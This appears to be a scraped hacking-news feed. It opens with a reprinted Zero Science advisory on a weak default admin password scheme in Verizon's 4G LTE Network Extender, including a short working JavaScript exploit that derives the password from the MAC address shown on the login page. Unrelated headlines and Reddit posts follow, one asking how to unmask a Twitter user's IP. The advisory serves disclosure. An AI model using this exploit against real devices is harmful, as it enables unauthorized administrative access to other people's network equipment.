Exploit Collector
Verizon 4G LTE Network Extender 0.4.038.2131 Weak Credential Algorithm

https://3.bp.blogspot.com/-ZdpKmdYlHbY/WWlu_uhv-yI/AAAAAAAAIKA/GrhbPhfNXpolamaXsSLRo9Cb0FKriXUgQCLcBGAs/s1600/h12.png
Verizon's 4G LTE Network Extender is utilizing a weak default admin password generation algorithm. The password is generated using the last 4 values from device's MAC address which is disclosed on the main webUI login page to an unauthenticated attacker. The values are then concatenated with the string LTEFemto resulting in something like LTEFemtoD080 as the default Admin password. Versions GA4.38 through 0.4.038.2131 are affected.

MD5 | defda71595d58bb3b899ae80b3a351c1

Download

Verizon 4G LTE Network Extender Weak Credentials Algorithm
Vendor: Verizon Communications Inc.
Product web page: https://www.verizon.com
Affected version: GA4.38 - V0.4.038.2131

Summary: An LTE Network Extender enhances your indoor and 4G
LTE data and voice coverage to provide better service for your
4G LTE mobile devices. It's an extension of our 4G LTE network
that's placed directly in your home or office. The LTE Network
Extender works with all Verizon-sold 4G LTE mobile devices for
4G LTE data service and HD Voice-capable 4G LTE devices for voice
service. This easy-to-install device operates like a miniature
cell tower that plugs into your existing high-speed broadband
connection to communicate with the Verizon wireless network.

Desc: Verizon's 4G LTE Network Extender is utilising a weak
default admin password generation algorithm. The password is
generated using the last 4 values from device's MAC address
which is disclosed on the main webUI login page to an unauthenticated
attacker. The values are then concatenated with the string
'LTEFemto' resulting in something like 'LTEFemtoD080' as the
default Admin password.

Tested on: lighttpd-web
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2022-5701
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5701.php
17.02.2022

--
snippet:///Exploit
//
// Verizon 4G LTE Network Extender Super Awesome JS Exploit
//

console.log("Calling 'isDefaultPassword' API");
let req = new Request("/webapi/isDefaultPassword");
let def = req.url;

const doAjax = async () => {
const resp = await fetch(def);
if (resp.ok) {
const jsonyo = await resp.json();
return Promise.resolve(jsonyo);
} else {
return Promise.reject("Smth not rite captain!");
}
}
doAjax().then(console.log).catch(console.log);

await new Promise(t => setTimeout(t, 1337));

console.log("Verizon Admin Password: ");
let mac = document.querySelector("#mac_address").innerHTML;
console.log("LTEFemto" + mac.substr(-4));

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Identifying a Vulnerability in the SAP Software Supply Chain

Make sure you're using the patch to block this supply chain attack.

Rules of Engagement for Pentesters
https://www.reddit.com/r/Pentesting/comments/u2vc9x/rules_of_engagement_for_pentesters/

Hello Everyone, I am a Lawyer and recently a Client asked me to draw up rules of engagement for Pentesters that will be working on the projects posted on his Platform.
I don't know much about the space, therefore, was looking to get some insights from the Community. As to what rules the Pentesters have to abide by when performing their functions. P.S. I have done my research and went through the HackerOne Rules of Engagement for Pentesters, while the same was not available on other websites like Cobalt.io (https://cobalt.io/) or Bugcrowd.
Any insights or documents that you could lead me to would be of great help. Cheers. submitted by /u/Park-Beginning (https://www.reddit.com/user/Park-Beginning)
[link] (https://www.reddit.com/r/Pentesting/comments/u2vc9x/rules_of_engagement_for_pentesters/) [comments] (https://www.reddit.com/r/Pentesting/comments/u2vc9x/rules_of_engagement_for_pentesters/)

___________________________
@hacking_Attack
@Hacking_Video

Social Hunter

Crawls the given URL and finds broken social media links that can be hijacked. Broken social links may allow an attacker to conduct…Continue reading on Medium »
Read more...

Hacking on Medium
Microsoft emite parches para 2 Windows Zero-Days y 126 otras vulnerabilidades

https://cdn-images-1.medium.com/max/972/0*H4B8L36R4RsnV42O
PUBLICADO EN 13 ABRIL, 2022POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
What is “Telegram” and why is it one of the primary hubs for Cybercriminals?

https://cdn-images-1.medium.com/max/1024/1*1f4-WQP8F9p97KdsESTEkQ.png
Telegram and how Cybercriminals use it to their advantage.

Continue reading on HackerHub »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Couple Hacking Powerpoint using VBscript

https://cdn-images-1.medium.com/max/605/1*pxwoc5ksfPBVntbjOlPiVw.jpeg
This article has an interesting couple story, my wife who usually don’t take any serious interest in my office work ( I don’t blame her…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
What just happened to Ferdi? Major hack? Are our credentials safe?

The Ferdi services are down, their Twitter is gone, the GitHub Repo is gone!

Their website redirects to RamBox, a competitor.

What is happening? Are our credentials safe???

submitted by /u/canarocan
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Phishing Websites and Takeover Admin Panel

https://external-preview.redd.it/riidaX2fDWojOg1Ab1zP-S0vCVtWsW7wSlEdnZYsNXY.jpg?width=320&crop=smart&auto=webp&s=3a3fc0e9860c54a81bcb19f538d64aa85b29703b submitted by /u/SocketPuppets
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Other than these, how to best mitigate a DDoS attack?

Other than CloudFlare, blocking IP blocks on the network firewall and blocking on server's IPtables, what else can be effectively done to mitigate a DDoS attack?

submitted by /u/arpegius55555
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
grabbing a twitter user's IP, or possibly more, with ethical reasons

let's say, hypothetically, i know a twitter user who claims to be a middle school PE teacher in georgia, and is one of those lolicon bags of shit, how could i get information such as an IP address, email, etc. from the account so i could report this account to their employer?

submitted by /u/eshum953
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Wireshark asking me to turn off Promiscuous Mode?

So I bought a network adapter. I bridged it to my laptop's network card. I set it into Promiscuous Mode. Wireshark errors and tells me to turn off the Promiscuous Mode. Is this just a Windows 10 issue?

submitted by /u/StornZ
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Securing the Stopgap: Controlling Access to SaaS Applications

If enterprises continue to use emergency measures as long-term solutions, they must protect their IT estate.

Dark Reading: Attacks/Breaches
Supply and Demand Hits Cybersecurity: Navigating the Skills Shortage

As everyone feels the pain of the skills crunch, what can companies do to secure the talent they desperately need? It comes down to making two key changes.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Palo Alto Networks Extends SASE to Protect Home Networks With Okyo Garde Enterprise Edition

Okyo Garde Enterprise Edition includes an option for at-home employees to create separate private and personal networks.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
KKR to Acquire Barracuda Networks

The transaction is anticipated to close by the end of the year.

___________________________
@hacking_Attack
@Hacking_Video